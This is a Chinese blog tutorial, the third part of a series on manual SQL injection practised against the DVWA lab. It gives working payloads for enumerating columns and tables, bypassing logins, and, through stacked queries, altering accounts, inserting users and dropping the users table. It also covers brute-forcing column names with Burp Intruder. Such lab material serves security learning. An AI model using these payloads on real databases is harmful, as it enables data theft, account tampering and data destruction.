SQL手工注入探索旅程(三)

SQL手工注入探索旅程(一)
SQL手工注入探索旅程(一)
当无权读取information_schema库或者被拒绝union,order by这些语句
通过试验去猜测数据库信息进而总结归纳出结果
设置dvwa安全等级为low
| 在这里插入图片描述
我们在输入框中输入 一下指令:

' union select null,user()-- 
#使用MySQL数据库的user()函数查看当前使用者

在这里插入图片描述
得知是root(此root为数据库的root,并非系统下的root,那么便有权读取information_schema数据库的内容

如果我们注入的web服务器使用者不是root,那么我们通过各种猜测去判断
在hackbar中修改变量id的值为:

' amd a is null-- 
#系统报错,则表示a列不存在,若没有报错,则表示a列存在

在这里插入图片描述
在这里插入图片描述
通过这种方式猜测数据库当前表中的列名
但是人为通过这种方式效率太低,我们使用kali中的字典进行爆破
在这里插入图片描述
因为这些字典中有些行开头有#,所以我们使用将其#去掉,然后存放在一个txt文件中
在这里插入图片描述
我们使用Burpsuite进行字典爆破,通过代理获取的信息将其发送到intruder中
在这里插入图片描述
清除原GET请求中的变量
在这里插入图片描述
选中需要改变的列名,点击add将其添加到变量中,变量值即为刚刚字典中的字段
在这里插入图片描述

加载刚刚制造出来的字典
在这里插入图片描述
去掉payload Encoding
在这里插入图片描述
开始爆破
在这里插入图片描述
爆破的出的目标数据库中列名
在这里插入图片描述

猜测表名
在这里插入图片描述
通过burpsuite进行字典爆破判断表明
在这里插入图片描述
在这里插入图片描述
目前我们可以得知改数据库有一个表users,users表有个列为user

猜库里其他表

' and (select count(*) from table)>0--+

猜列表对应关系:

' and users.user is null--+

猜字段内容

' or user=' admin
' or user like '%a%

猜账户对应密码

' or user=' admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

当数据库可写时
我们去修改其数据库账户信息

'; update user set user=' abc ' where user=' admin 
#将用户admin的名称改为abc
' ; update user set passwd=' csacsd2134254' where passwd=' sfesfedfv34xvdd24'
#将用户的passwd的密码修改
'; INSERT INTO users (' user_id',' first_name',' last_name','
user','password','avatar') VALUES
(‘35',‘a',‘b',‘c','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+
'; DROP TABLE users; --
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值